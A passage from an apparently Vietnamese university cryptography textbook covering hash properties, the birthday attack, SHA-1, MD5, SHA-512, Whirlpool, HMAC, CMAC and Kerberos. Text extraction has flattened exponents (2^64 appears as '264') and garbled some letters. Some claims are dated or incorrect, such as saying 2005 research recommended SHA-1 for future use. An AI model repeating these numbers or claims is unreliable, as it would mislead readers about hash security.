• Cho x không thể tìm ñược y sao cho H(y) = H(x). ðây là tính chất chống ñỡ va
chạm yếu, không tìm ñược mẩu tin có cùng Hash với mẩu tin ñã cho.
• Và không thể tìm ñược x, y sao cho H(y) = H(x). ðây gọi là tính chất chống ñỡ va
chạm mạnh, ñây là yêu cầu cao hơn tính chống ñỡ va chạm yếu.
- 108 -

VI.2.2 Các hàm hash ñơn giản


Có một số ñề xuất cho một số hàm hash ñơn giản. Chẳng hạn biểu diễn mẩu tin dưới
dạng bit sau ñó chia chúng thành các khối bit có kích thước bằng kích thước mong muốn
của Hash. Rồi dựa trên phép toán XOR các bit thông tin ở cùng vị trí tương ứng của các
khối, kết quả nhận ñược là Hash của cả mẩu tin. Hàm hash trên là không an toàn vì ñối
với mẩu tin bất kỳ có thể tìm ñược mẩu tin mà có cùng hàm hash.Cần phải có hàm mạnh
hơn, mà sẽ xét trong chương sau.

Tấn công ngày sinh nhật


Có thể nghĩ hash 64 bit là an toàn, có nghĩa là khó tìm ñược bản tin có cùng hash. Nhưng
không phải vậy vì nghịch lý ngày sinh nhật như sau: trong lớp có ít nhất bao nhiêu sinh
viên, ñể xác suất có ít nhất 2 sinh viên trùng ngày sinh nhật là lớn hớn 0.5. Theo lý
thuyết xác suất thống kê gọi số sinh viên ít nhất trong lớp là k, khi ñó xác suất q ñể không
có 2 người nào trùng ngày sinh là tỷ số giữa cách chọn k ngày khác nhau trong 365 ngày
trên số cách chọn k ngày bất kỳ trong 365 ngày. Vậy

q = Ck365 / 365k

Do ñó, xác suất p ñể có ít nhất 2 người trùng ngày sinh là


p = 1 – q = 1 - Ck365 / 365k

ðể p > 0.5 thì k > 22 hay k =23, cụ thể khi ñó p = 0.5073.


Khi chưa tính toán chi tiết chúng ta nghĩ là trong lớp phải có ít nhất khoảng 365/2 tức là
184 sinh viên. Nhưng trên thực tế con số ñó ít hơn rất nhiều chỉ cần 23 sinh viên, chính vì
vậy ta gọi ñây là nghịch lý ngày sinh nhật.
ðiều ñó muốn nói lên rằng, trong nhiều trường hợp xác suất ñể hai mẩu tin có cùng bản
Hash là không nhỏ như chúng ta tưởng.

Tấn công ngày sinh nhật hoạt ñộng như sau


o Kẻ thám mã tạo ra 2m/2 biến thể của mẩu tin ñúng mà tất cả ñều có bản chất
ngữ nghĩa như nhau, với m ở ñây là ñộ dài của bản mã hash.
o Kẻ thám mã cũng có thể tạo ra 2m/2 biến thể khác nhau của mẩu tin lừa dối,
tức là có ngữ nghĩa ngược lại
o Hai tập tin ñược so sánh với nhau ñể tìm cặp có cùng bản hash (xác suất >=
0.5 dựa vào nghịch lý ngày sinh nhật)
- 109 -
o Người dùng ký vào mẩu tin ñúng, sau ñó bị thay thế bằng mẩu tin giả mà cũng
có chữ ký ñúng.
• Kết luận là cần phải dùng MAC có kích thước lớn hơn nữa.

VI.2.3 Mã khối như hàm Hash


• Có thể sử dụng mã khối như hàm Hash
o Sử dụng H0 = 0 và bộ ñệm không cho khối cuối cùng
o Tính Hi = EMi [Hi-1]
o Và sử dụng khối cuối cùng như giá trị hàm hash
o Giống chế ñộ CBC nhưng không có khoá
• Hash kết quả quá nhỏ (64 bit)
o Cả vì tấn công sinh nhật trực tiếp
o Cả tấn công ở giữa chừng
• Các phương án khác cũng dễ bị tấn công
Kẻ thám mã cũng có thể tạo ra 2m/2 biến thể khác nhau của mẩu tin

VI.2.4 Tính an toàn của hàm Hash và MAC.


Giống như ñối với mã khối, hàm hash cũng có tấn công vét cạn, cụ thể: Hash chống va
chạm mạnh có giá 2m/2, có nghĩa là với m là ñộ dài mã hash thì 2m/2 xác ñịnh sức mạnh
của nó chống ñối lại tấn công vét cạn. Ta cần lựa chọn m ñủ lớn ñể việc duỵêt tìm 2m/2
phương án là không khả thi. Có ñề xuất Hash 128 bit cho MD5 phần cứng. Nhưng có thể
tìm ñược va chạm sau 24 ngày. Do ñó có thể coi là hash 128 bit có thể có lỗ hổng, không
an toàn, tốt hơn dùng hash 160 bit.
Tấn công vét cạn trên MAC khó hơn, vì chúng ñòi hỏi một cặp MAC của mẩu tin ñã biết,
do nó phụ thuộc thêm vào khoá. Có thể tấn công vào không gian khoá (như là tìm khoá)
hoặc MAC. ðộ dài ít nhất 128 bit MAC là cần thiết ñể ñảm bảo an toàn
Thám mã tấn công có cấu trúc
Giống như mã khối muốn dùng tấn công vét cạn, có một số các tấn công thám mã là lựa
chọn tốt nhất hiện có. Chẳng hạn
 Nếu CVi = f[CVi-1, Mi]; H(M)=CVN
 Thì ở ñây thông thường khai thác sự va chạm của hàm f
 Giống mã khối thường gồm một số vòng lặp
 Khi ñó tân công sử dụng các tính chất của các hàm vòng.

VI.3 Các thuật toán Hash và MAC


VI.3.1 Các thuật toán Hash và MAC
- 110 -
• Hàm Hash: thực hiện việc nén mẩu tin vê kích thước cố ñịnh bằng cách xử lý mẩu
tin theo từng khối kết hợp dùng một hàm nén nào ñó và có thể sử dụng mã khối.
• Mã xác thực mẩu tin (MAC): thực hiện tạo phần xác thực cho mẩu tin có kích
thước cố ñịnh, ñể cung cấp tính toàn vẹn của mẩu tin và tính xác thực thông qua
việc sử dụng khoá. Có thể tiíen hành bằng cách sử dụng mã khối với chế ñộ móc
nối hoặc hàm Hash.

Cấu trúc thuật toán Hash

VI.3.2 Thuật toán Hash an toàn SHA (Secure Hash Algorithm)


SHA có nguồn gốc từ Viện chuẩn công nghệ quốc gia Hoa kỳ - NIST & NSA vào
năm 1993, sau ñó ñược nâng cấp vào 1995 theo chuẩn US và chuẩn là FIPS 180-1
1995 và Internet RFC3174, ñược nhắc ñến như SHA-1. Nó ñược sử dụng với sơ ñồ
chữ ký ñiện tử DSA (Digital Signature Algorithm).
Thuật toán là SHA dựa trên thiết kế MD4 với một số khác biệt tạo nên giá trị Hash
160 bit. Các kết quả nghiên cứu 2005 về an toàn của SHA-1 ñề xuất sử dụng nó trong
tương lai.

Sau ñây ta mô tả chi tiết thuật toán SHA-1 và MD5:

Thuật toán SHA-1


Mô tả thụât toán
ðầu vào của thuật toán là một thông ñiệp có chiều dài bất kỳ nhỏ hơn 264 bit, SHA-1 cho
ra kết quả là một thông ñiệp rút gọn có ñộ dài là 160 bit
- 111 -
Mở rộng thông ñiệp:
f(t;B,C,D) ñược ñịnh nghĩa như sau.
f(t;B,C,D) = (B AND C) OR ((NOT B) AND D) (0≤t≤19)
f(t;B,C,D) = B XOR C XOR D (20≤t≤39)
f(t;B,C,D) = (B AND C) OR (B AND D) OR (C AND D) (40≤t≤59)
f(t;B,C,D) = B XOR C XOR D (60≤t≤79).
Thông ñiệp M ñược mở rộng trước khi thực hiện băm. Mục ñích của việc mở rộng này là
ñể ñảm bảo cho thông ñiệp mở rộng có ñộ dài là bội số của 512.
Giả sử ñộ dài của thông ñiệp là l bit. Thêm bit 1 vào cuối thông ñiệp, theo sau là k bit 0
(k là số dương không âm nhỏ nhất sao cho l+1+k=448 (mod512)) . Sau ñó thêm khối 64
bit là biểu diễn nhị phân của l.
Phân tích thông ñiệp mở rộng:
Sau khi thông ñiệp ñã ñược mở rộng, thông ñiệp mở rộng ñược phân tích thành N khối
512 bit M(1),M(2),…,M(N). Trong ñó 512 bit của khối dữ liệu ñầu vào có thể ñược thể
hiện bằng 16 từ 32 bit,
Khởi tạo giá trị băm:
Giá trị băm là một chuỗi bit có kích thước bằng kích thước của thông ñiệp băm (trừ SHA-
384) gồm các từ ghép lại. Trong ñó Hj(i) là từ j trong giá trị băm ở lần lặp i với 0≤i≤N (số
block có ñược sau khi chia văn bản ñược ñệm) và 0≤j≤(số từ trong giá trị băm -1).Trước
khi thực hiện giá trị băm, với mỗi thuật toán băm an toàn, giá trị băm ban ñầu H(0) phải
ñược thiết lập. Kích thước và số lượng từ trong H(0) tuỳ thuộc vào kích thước thông ñiệp
rút gọn.
SHA-1 sử dụng dãy các hằng số K(0),…K(79) có giá trị như sau:
K(t) = 5A827999 ( 0 <= t <= 19)
K(t) = 6ED9EBA1 (20 <= t <= 39)
K(t) = 8F1BBCDC (40 <= t <= 59)
K(t) = CA62C1D6 (60 <= t <= 79).
Thuật toán của bứơc tính giá trị băm SHA-1
SHA-1 ñược sử dụng ñể băm thông ñiệp M có ñộ dài l bit thoả mãn ñiều kiện 0≤l≤264 .
Thuật toán sử dụng:
- Một bảng phân bố thông ñiệp gồm 80 từ 32 bit
- 5 biến 32 bit
- Một giá trị băm gồm 5 từ 32 bit
Kết quả của SHA-1 là một thông ñiệp rút gọn có ñộ dài 160 bit. Các từ của bảng phân bố
thông ñiệp ñược ký hiệu W(0),W(1),…,W(79). 5 biến ñược ký hiệu là a,b,c,d,e. Các từ
của giá trị băm ký hiệu H0(i),H1(i), H2(i), H3(i),H4(i). H(0) giữ giá trị băm ban ñầu và ñược
- 112 -
thay thế bằng các giá trị băm thành công.H(i) sau mỗi khối thông ñiệp ñược xử lý và kết
thúc bằng giá trị băm cuối cùng H(N).
Tính toán thông ñiệp băm
ðịnh nghĩa: S^n(X)=(X<<n) or (X>>32-n).
X<<n có nghĩa là loại bỏ từ trái sang phải n bit và thêm vào kết quả n số 0 vào bên phải.
X>> có nghĩa là loại bỏ từ phải qua trái n bit và thêm vào kết quả n số 0 vào bên trái.
Khởi tạo H
H0 = 67452301 ; H1 = EFCDAB89
H2 = 98BADCFE ; H3 = 10325476
H4 = C3D2E1F0.
Chia M(i) thành 16 từ W(0), W(1),…,W(15)
For t = 16 to 79
- W(t) = S^1(W(t-3) XOR W(t-8) XOR W(t-14) XOR W(t-16)).
- ðặt a=H0 , b=H1,c=H2,d=H3,e=H4
For t = 0 to 79 do
- TEMP = S^5(A) + f(t;B,C,D) + E + W(t) + K(t);
- e = d; d = c; c = S^30(b); b = a; a = TEMP;
- ðặt H0 = H0 + a,H1 = H1 + b,H2 = H2 + c,H3 = H3 + d,H4 = H4+ e.
Sau khi tính toán ñược hết M(n), thông ñiệp rút gọn là một chuỗi 160 bit là biểu diễn của
5 từ: H0 H1 H2 H3 H4
ðánh giá thuật toán
- SHA-1 ñược xem là an toàn ñối với hiện tượng ñụng ñộ vì rất khó tìm ñược hai
thông ñiệp khác nhau có giá trị băm giống nhau
- SHA-1 ñược coi là chuẩn của việc bảo vệ các kênh liên lạc trực tuyến tồn tại trong
9 năm qua.
- SHA-1 ñược thiết kế cho bộ xử lý 32 bit, thế hệ sắp tới của máy tính dùng các bộ
xử lý 64 bit mà SHA-1 không hiệu quả trên bộ xử lý này.
- Tháng 2 năm 2005 SHA-1 bị tấn công bời 3 chuyên gia người Trung Quốc. Thuật
toán này ñã bị giải mã thông qua phương pháp tính phân bổ.

Thuật toán MD5


Mô tả thuật toán
Thuật toán có ñầu vào là một thông ñiệp có ñộ dài tuỳ ý và có ñầu ra là một chuỗi có ñộ
dài cố ñịnh là 128 bit. Thuật toán ñược thiết kế ñể chạy trên các máy tính 32 bit.
Thuật toán:
Thông ñiệp ñầu vào có ñộ dài b bit bất kỳ. Biểu diễn các bit dưới dạng như sau: m[0]
m[1] m[2] ... m[b-1]
- 113 -
Bước1: Các bit gắn thêm : Thông ñiệp ñược mở rộng, thêm bit vào phía sau sao cho ñộ
dài của nó (bit) ñồng dư với 448 theo môñun 512. Nghĩa là thông ñiệp ñược mở rộng sao
cho nó còn thiếu 64 bit nữa thì sẽ có một ñộ dài chia hết cho 512. Việc thêm bit này ñược
thực hiện như sau: một bit ‘1’ ñược thêm vào sau thông ñiệp, sau ñó các bit ‘0’ ñược
thêm vào ñể có một ñộ dài ñồng dư với 448 môñun 512.
Bước 2: Gắn thêm ñộ dài: Dạng biểu diễn 64 bit ñộ dài b của chuỗi ban ñầu ñược thêm
vào phía sau kết quả của bước 1.
Bước 3: Khởi tạo bộ ñệm MD: Một bộ ñệm 4 từ (A,B,C,D) ñược dùng ñể tính mã số
thông ñiệp. Ở ñây mỗi A,B,C,D là một thanh ghi 32 bit. Những thanh ghi này ñược khởi
tạo theo những giá trị hex sau :
A=0x01234567
B=0x89abcdef
C=0xfedcba98
D=0x76543210
Bước 4 :Xử lý thông ñiệp theo từng khối 16 từ. ðịnh nghĩa các hàm phụ, các hàm này
nhận giá trị ñầu vào là 3 từ 32 bit và tạo tạo ra một word 32 bit.
F(X,Y,Z) = XY v not(X) Z
G(X,Y,Z)= XZ v Y not(Z)
H(X,Y,Z) = X xor Y xor Z
I(X,Y,Z) = Y xor (X v not(Z))
Bước này sử dụng một bảng 64 giá trị T[1 .. 64] ñược tạo ra từ hàm sin. Gọi T là phần tử
thứ i của bảng, thì T là phần nguyên của 4294967296*|sin(i)| , i ñược tính theo radian.
Thuật toán
/* Xử lý với mỗi khối 16 bit từ */
For i = 0 to N/16-1 do
/* Sao khối i vào X. */
For j = 0 to 15 do
Set X[j] to M[i*16+j].
end
AA = A
BB = B
CC = C
DD = D
/* Vòng 1: Ký hiệu [abcd k s i] là thao tác sau
a = b + ((a + F(b,c,d) + X[k] + T[i]) <<< s). */
/* Làm 16 thao tác sau ñây*/
[ABCD 0 7 1] [DABC 1 12 2] [CDAB 2 17 3] [BCDA 3 22 4]
- 114 -
[ABCD 4 7 5] [DABC 5 12 6] [CDAB 6 17 7] [BCDA 7 22 8]
[ABCD 8 7 9] [DABC 9 12 10] [CDAB 10 17 11] [BCDA 11 22 12]
[ABCD 12 7 13] [DABC 13 12 14] [CDAB 14 17 15] [BCDA 15 22 16]
/* Vòng 2: Ký hiệu [abcd k s i] là thao tác sau ñây
a = b + ((a + G(b,c,d) + X[k] + T[i]) <<< s). */
/* Làm 16 thao tác sau ñây*/
[ABCD 1 5 17] [DABC 6 9 18] [CDAB 11 14 19] [BCDA 0 20 20]
[ABCD 5 5 21] [DABC 10 9 22] [CDAB 15 14 23] [BCDA 4 20 24]
[ABCD 9 5 25] [DABC 14 9 26] [CDAB 3 14 27] [BCDA 8 20 28]
[ABCD 13 5 29] [DABC 2 9 30] [CDAB 7 14 31] [BCDA 12 20 32]
/* Vòng 3: Ký hiệu [abcd k s t] là thao tác sau ñây
a = b + ((a + H(b,c,d) + X[k] + T[i]) <<< s). */
/* Làm 16 thao tác sau ñây*/
[ABCD 5 4 33] [DABC 8 11 34] [CDAB 11 16 35] [BCDA 14 23 36]
[ABCD 1 4 37] [DABC 4 11 38] [CDAB 7 16 39] [BCDA 10 23 40]
[ABCD 13 4 41] [DABC 0 11 42] [CDAB 3 16 43] [BCDA 6 23 44]
[ABCD 9 4 45] [DABC 12 11 46] [CDAB 15 16 47] [BCDA 2 23 48]
/* Vòng 4: Ký hiệu [abcd k s t] là thao tác sau ñây
a = b + ((a + I(b,c,d) + X[k] + T[i]) <<< s). */
/* Làm 16 thao tác sau ñây*/
[ABCD 0 6 49] [DABC 7 10 50] [CDAB 14 15 51] [BCDA 5 21 52]
[ABCD 12 6 53] [DABC 3 10 54] [CDAB 10 15 55] [BCDA 1 21 56]
[ABCD 8 6 57] [DABC 15 10 58] [CDAB 6 15 59] [BCDA 13 21 60]
[ABCD 4 6 61] [DABC 11 10 62] [CDAB 2 15 63] [BCDA 9 21 64]
/* Tính */
A = A + AA
B = B + BB
C = C + CC
D = D + DD
end /* Kêt thúc vòng lặp trên i*/
Bước 5: Thông ñiệp rút gọn = A||B||C||D.
ðánh giá thuật toán MD5
Về tốc ñộ sinh ra chuỗi cốt yếu thì MD5 chậm hơn so với MD4 nhưng nó lại an toàn hơn
rất nhiều so với MD4. Thuật toán số hóa thông ñiệp MD5 khá ñơn giản ñể thực hiện,
cung cấp một giá trị băm của thông ñiệp với ñộ dài tuỳ ý. Người ta cho rằng ñộ khó ñể
tìm ñược 2 thông ñiệp có cùng giá trị băm là khoảng 264 bước tính, và ñộ khó ñể tìm ñược
một thông ñiệp với giá trị băm cho trước là 2128 bước tính. Tuy nhiên lỗ hổng mới phát
- 115 -
hiện trong thuật toán MD5 sẽ cho phép kẻ tấn công có thể tạo ra file giả mạo trong vòng
vài giờ với loại máy tính ñạt chuẩn.

Chuẩn Hash an toàn nâng cao


Viện chuẩn công nghệ quốc gia NIST xuất bản bản sửa FIPS 180-2 vào năm 2002, ñề
nghị bổ sung 3 phiên bản mới của SHA: SHA-256, SHA-384, SHA-512. Các phiên
bản trên ñược thiết kế tương thích với việc tăng ñộ an toàn ñược cung cấp bởi chuẩn
mã nâng cao AES. Về cấu trúc và chi tiết giống SHA-1, suy ra việc phân tích cũng
tương tự, nhưng mức ñộ an toàn cao hơn nhiều so với SHA-1.

Tổng quan SHA 512


- 116 -

Hàm nén SHA-512


SHA-512 là trọng tâm của thuật toán. Ở ñây xử lý mẩu tin với các khối 1024 bit và
bao gồm 80 vòng
o cập nhật bộ ñệm 512 bit
o Sử dụng giá trị Wt 64 bit ñược lấy ra từ block hiện tại của mẩu tin
o Và hằng số quay vòng dựa trên căn bậc ba của 80 số nguyên tố ñầu tiên

Hàm quay vòng của SHA-512


- 117 -

VI.3.3 Hàm Hash Whirlpool


Bây giờ xem xét hàm Hash Whirlpool, ñược tán thành bởi dự án NESSIE của châu
Âu. Ở ñây sử dụng biến ñổi bên trong của chuẩn mã nâng cao AES làm hàm nén và
hướng tới sử dụng mã khối như trước. Chất lượng thực hiện của Whirrlpool sánh
ñược với các thuật toán nổi tiếng như SHA.

Tổng quan Whirlpool ñược trình bày trên hình vẽ sau

Mã khối Whirlpool
Whirlpool ñược thiết kế riêng cho việc sử dụng hàm Hash với ñộ an toàn và hiệu quả
như chuẩn mã nâng cao AES, nhưng với kích thước khối 512 bit hash. Hàm và cấu
trúc tương tự như AES nhưng ñầu vào ñược ánh xạ khéo léo vào 10 hàng và các ña
thức nguyên tố khác trên GF(28). Ở ñây sử dụng giá trị và thiết kế S-box khác.
- 118 -

An toàn và chất lượng thực hiện của Whirlpool


Whirlpool mới ñược ñề xuất, nên có ít kinh nghiệm sử dụng. Tuy nhiên nó ñược xây
dựng dựa trên kỹ thuật của AES ñã ñược dùng nhiều. Có thể Whirlpool cần nhiều
thiết bị phần cứng hơn SHA, nhưng chất lượng thực hiện sẽ tốt hơn.

VI.3.4 Hàm Hash có khoá giống như MAC


Khi ñã có các hàm Hash tốt, chúng ta muốn có các mã xác thực mẩu tin MAC dựa
trên các hàm Hash ñó. Vì hàm Hash thông thường nhanh hơn và mã nguồn của hàm
Hash ñược phổ biến rộng rãi hơn, nên việc sử dụng chúng tạo nên MAC sẽ hiệu quả
hơn. Ta có thể coi MAC là Hash bao gồm cả khoá với mẩu tin, cụ thể ñược ñề xuất
như sau

KeyedHash = Hash (Key | Message)


- 119 -
Trong trường hợp này có một số ñiểm yếu ñã ñược tìm thấy. Chính vì muốn khắc
phục các ñiểm yếu ñó, một phương án kết hợp Hash ñể tạo nên MAC ñược phát triển
là HMAC.

VI.3.5 HMAC
HMAC ñược thiết kế theo chuẩn Internet RFC2104, sử dụng hàm Hash trên mẩu tin:

HMACK = Hash [(K+ XOR opad) || Hash [(K+ XOR ipad) || M)]]

trong ñó K+ là khoá ñệm mở rộng của K và opad, ipad là các hằng bộ ñệm ñặc biệt, M
là mẩu tin. Như vậy cần tính nhiều hơn 3 hàm Hash so với nếu bản tin ñứng một
mình. Bất cứ hàm Hash nào cũng có thể ñược sử dụng trong sơ ñồ trên: MD5, SHA-
1, RIPEMD-160 hay Whirlpool.

Tổng quan HMAC

An toàn HMAC
- 120 -
Sự an toàn ñược chứng minh liên quan ñến thuật toán Hash nền trong sơ ñồ trên. Tấn
công HMAC yêu cầu phải hoặc:
o Tấn công vét cạn khoá ñã sử dụng hoặc
o Tấn công ngày sinh nhật (tuy cần quan sát số lượng rất lớn mẩu tin)
Có thể lựa chọn phán ñoán hàm Hash ñược sử dụng dựa trên tốc ñộ và các ràng buộc
an toàn.

VI.3.6 CMAC
Trước kia ñã xét Thuật toán xác thực dữ liệu DAA (CBC-MAC), ñược sử dụng rộng
rãi trong các chính phủ và công nghiệp. Nhưng kích thước bản MAC có giới hạn nhỏ
hơn hoặc bằng 64 bit. Có thể khắc phục nhược ñiểm trên bằng cách sử dụng 2 khoá
và bộ ñệm như sau: phương pháp ñược viết tắt từ Mã xác thực mẩu tin dựa trên mã
(Cipher-based Message Authentication Code (CMAC) và ñược ñề xuất bởi NIST
SP800-38B:

Tổng quan CMAC

VI.4 Các ứng dụng xác thực


- 121 -
Chúng ta sẽ xem xét các hàm xác thực ñược phát triển ñể hỗ trợ xác thực mức ứng dụng
và chữ ký ñiện tử. ðồng thời cũng xem xét dịch vụ xác thực dùng khoá riêng Kerrberros.
Và sau ñó xét dịch vụ xác thực dùng khoá công khai X.509.

VI.4.1 Kerberos
ðây là mô hình Hệ thống khoá máy chủ tin cậy của MIT (Trường ðại học Kỹ thuật
Massachusetts) ñể cung cấp xác thực có bên thứ ba dùng khoá riêng và tập trung. Cho
phép người sử dụng truy cập vào các dịch vụ phân tán trong mạng. Tuy nhiên không cần
thiết phải tin cậy mọi máy trạm, thay vì ñó chỉ cần tin cậy máy chủ xác thực trung tâm.
ðã có hai phiên bản ñang sử dụng là: Kerberos 4 và Kerberos 5.
1. Các yêu cầu của Kerrberos
Báo cáo ñầu tiên của: Kerberos nêu các yêu cầu sau
o An toàn
o Tin cậy
o Trong suốt
o Có thể mở rộng
Ở ñây cài ñặt sử dụng thủ tục xác thực Needham-Schroeder.
2. Tổng quan Kerberos 4
Là sơ ñồ xác thực dùng bên thứ ba cơ bản và có máy chủ xác thực (AS – Authentication
Server). Người dùng thỏa thuận với AS về danh tính của mình, AS cung cấp sự tin cậy
xác thực thông qua thẻ cấp thẻ TGT (Ticket Granting Ticket) và máy chủ cung cấp thẻ
(TGS – Ticket Granting Server). Người sử dụng thường xuyên yêu cầu TGS cho truy cập
ñến các dịch vụ khác dựa trên thẻ cấp thẻ TGT của người sử dụng.
3. Trao ñổi Kerberos 4
Người sử dụng nhận thẻ ñược cấp từ máy chủ xác thực AS, mỗi thẻ cho một phiên làm
việc và cũng nhận thẻ cấp dùng dịch vụ (service granting ticket) từ TGT. Mỗi thẻ dùng
cho một dịch vụ khác nhau ñược yêu cầu, thông qua việc trao ñổi giữa máy chủ/trạm ñể
nhận ñược dịch vụ.
4. Các lãnh ñịa Kerberos
Môi trường Kerberos bao gồm: máy chủ Kerberos, một số máy trạm ñã ñược ñăng ký với
máy chủ, các máy chủ ứng dụng chia sẻ khoá với máy chủ. Một hệ thống như vậy ñược
gọi là một lãnh ñịa Kerberos. Thông thường là một miền hành chính duy nhất. Nếu có
nhiều lãnh ñịa, thì các máy chủ Kerberos cần phải chia sẻ khoá và tin cậy nhau.
5. Kerberos phiên bản 5
Kerberos 5 ñược phát triển vào giữa những năm 1990, ñược thiết kế theo chuẩn RFC
1510. Nó cung cấp những cải tiến so với phiên bản 4, cụ thể hướng tới các thiếu xót về
môi trường, thuật toán mã, thủ tục mạng thứ tự byte, thời gian sử dụng thẻ, truyền tiếp
- 122 -
xác thực, xác thực lãnh ñịa con. Và các sự khác biệt về kỹ thuật như: mã kép, các dạng sử
dụng không chuẩn, khoá phiên, chống tấn công mật khẩu.

Sau ñây ta xem xét chi tiết mô hình Kerberos


Kerberos là một giao thức xác thực mạng, nó cho phép các cá nhân giao tiếp với nhau
trên một mạng không an toàn bằng cách xác thực người dùng này với người dùng khác
theo một cơ chế bảo mật và an toàn. Kerberos ngăn chặn việc nghe trộm thông tin cũng
như tấn công thay thế và ñảm bảo tính toàn vẹn của dữ liệu. Kerberos hoạt ñộng theo mô
hình máy trạm/máy chủ và nó thực hiện quá trình xác thực 2 chiều - cả người dùng và
dịch vụ xác thực lẫn nhau. Kerberos ñược xây dựng dựa trên mô hình mã hóa khóa ñối
xứng và ñòi hỏi một thành phần thứ ba tin cậy tham gia vào quá trình xác thực.
Mô tả giao thức
Kerberos sử dụng một ñối tác tin cậy thứ ba ñể thực hiện quá trình chứng thực ñược gọi
là Trung tâm phân phối khóa bao gồm 2 phần riêng biệt: một máy chủ chứng thực (AS)
và một máy chủ cấp thẻ (TGS). Kerberos làm việc dựa trên các thẻ ñể thực hiện quá trình
chứng thực người dùng.
Kerberos duy trì một cơ sở dữ liệu chứa các khoá bí mật. Mỗi thực thể trên mạng (máy
trạm hoặc máy chủ) ñều chia sẽ một khoá bí mật chỉ giữa bản thân nó với Kerberos. ðể
thực hiện quá trình giao tiếp giữa 2 thực thể, Kerberos tạo ra một khoá phiên. Khóa này
dùng ñể bảo mật quá trình tương tác giữa các thực thể với nhau.
Hoạt ñộng của Kerberos:
Quá trình hoạt ñộng của giao thức (AS = Máy chủ xác thực, TGS = Máy chủ cấp
thẻ, C = Máy trạm, S = Dịch vụ):
1. Người dùng nhập vào tên truy cập và mật khẩu ở phía máy trạm.
2. Máy trạm thực hiện thuật toán băm một chiều trên mật khẩu ñược nhập vào và nó
trở thành khoá bí mật của máy trạm.
3. Máy trạm gởi một thông ñiệp dưới dạng bản rõ ñến AS ñể yêu cầu dịch vụ.
Không có khoá bí mật cũng như mật khẩu nào ñược gởi ñến AS.
4. AS kiểm tra xem có tồn tại người dùng C trong cở sở dữ liệu của nó hay không.
Nếu có, nó gởi ngược lại cho máy trạm 2 thông ñiệp:
o Thông ñiệp A: chứa khoá phiên Máy trạm/TGS ñược mã hóa bởi khoá bí mật
của người dùng.
o Thông ñiệp B: chứa Thẻ (bao gồm ID của máy trạm, ñịa chỉ mạng của máy
trạm, kỳ hạn thẻ có giá trị và một khoá phiên máy trạm/TGS) ñược mã hóa sử
dụng khoá bí mật của TGS.
5. Khi máy trạm nhận ñược thông ñiệp A và B, nó giải mã thông ñiệp A ñể lấy khoá
phiên máy trạm/TGS. Khoá phiên này ñược sử dụng cho quá trình giao ñổi tiếp
- 123 -
theo với TGS. Ở ñây máy trạm không thể giải mã thông ñiệp B bởi vì nó ñược mã
hóa bởi khoá bí mật của TGS.
6. Khi yêu cầu dịch vụ (S), máy trạm gởi 2 thông ñiệp sau ñến TGS:
o Thông ñiệp C: Gồm thông ñiệp B và ID của dịch vụ ñược yêu cầu
o Thông ñiệp D: chứa Authenticator (gồm ID máy trạm và nhãn thời gian -
timestamp) ñược mã hóa bởi khoá phiên Máy trạm/TGS.
7. Khi nhận ñược thông ñiệp C và D, TGS giải mã thông ñiệp D sử dụng khoá phiên
máy trạm/TGS và gởi 2 thông ñiệp ngược lại cho máy trạm:
o Thông ñiệp E: chứa thẻ (máy trạm ñến máy chủ) (bao gồm ID máy trạm, ñịa
chỉ mạng của máy trạm, kỳ hạn thẻ có giá trị và một khoá phiên máy
trạm/dịch vụ) ñược mã hóa bởi khoá bí mật của dịch vụ.
o Thông ñiệp F: chứa khoá phiên của máy trạm/máy chủ ñược mã hóa bởi khoá
phiên máy trạm/TGS.
8. Khi nhận ñược thông ñiệp E và F, máy trạm sau ñó gởi một Authenticator mới và
một thẻ (máy trạm ñến máy chủ) ñến máy chủ chứa dịch vụ ñược yêu cầu.
o Thông ñiệp G: chứa thẻ (máy trạm ñến máy chủ) ñược mã hóa sử dụng khoá
bí mật của máy chủ.
o Thông ñiệp H: một Authenticator mới chứa ID máy trạm, Timestamp và ñược
mã hóa sử dụng khoá phiên máy trạm/máy chủ.
9. Sau ñó, máy chủ giải mã thẻ sử dụng khoá bí mật của chính nó, và gởi một thông
ñiệp cho máy trạm ñể xác nhận tính hợp lệ thực sự của máy trạm và sự sẵn sàng
cung cấp dịch vụ cho máy trạm.
o Thông ñiệp I: chứa giá trị Timestamp trong Authenticator ñược gởi bởi máy
trạm sẽ ñược cộng thêm 1, ñược mã hóa bởi khoá phiên máy trạm/máy chủ.
10. Máy trạm sẽ giải mã sự xác nhận này sử dụng khóa chia sẽ giữa nó với máy chủ,
và kiểm tra xem giá trị timestamp có ñược cập nhật ñúng hay không. Nếu ñúng,
máy trạm có thể tin tưởng máy chủ và bắt ñầu ñưa ra các yêu cầu dịch vụ gởi ñến
máy chủ.
11. Máy chủ cung cấp dịch vụ ñược yêu cầu ñến máy trạm.
Hạn chế của Kerberos
Kerberos thích hợp cho việc cung cấp các dịch vụ xác thực, phân quyền và bảo ñảm tính
mật của thông tin trao ñổi trong phạm vi một mạng hay một tập hợp nhỏ các mạng. Tuy
nhiên, nó không thật thích hợp cho một số chức năng khác, chẳng hạn như ký ñiện tử
(yêu cầu ñáp ứng cả hai nhu cầu xác thực và bảo ñảm không chối cãi ñược). Một trong
những giả thiết quan trọng của giao thức Kerberos là các máy chủ trên mạng cần phải tin
cậy ñược. Ngoài ra, nếu người dùng chọn những mật khẩu dễ ñoán thì hệ thống dễ bị mất
- 124 -
an toàn trước kiểu tấn công từ ñiển, tức là kẻ tấn công sẽ sử dụng phương thức ñơn giản
là thử nhiều mật khẩu khác nhau cho ñến khi tìm ñược giá trị ñúng.
Do hệ thống hoàn toàn dựa trên mật khẩu ñể xác thực người dùng, nếu bản thân các mật
khẩu bị ñánh cắp thì khả năng tấn công hệ thống là không có giới hạn. ðiều này dẫn ñến
một yêu cầu rất căn bản là Trung tâm phân phối khóa cần ñược bảo vệ nghiêm ngặt. Nếu
không thì toàn bộ hệ thống sẽ trở nên mất an toàn.
Toàn vẹn dữ liệu
ðối với mỗi hệ bảo mật toàn vẹn dữ liệu là một yêu cầu không thể thiếu, ñể ñảm bảo tính
toàn vẹn dữ liệu thực sự, các thuật mã hoá như mã hoá băm, mã xác nhận thông ñiệp
(MAC) và chữ ký ñiện tử có thể cùng ñược triển khai ñồng loạt. Về cơ bản, những biện
pháp này sử dụng các hàm một chiều, nghĩa là dữ liệu không thể bị giải mã ngay cả khi
ñã biết khoá ñể mã hoá nó.

VI.4.2 Dịch vụ xác thực X.509


Dịch vụ xác thực X.509 là một phần của chuẩn dịch vụ thư mục CCITT X.500. Ở ñây các
máy chủ phân tán bảo trì cơ sở dữ liệu thông tin của người sử dụng và xác ñịnh khung
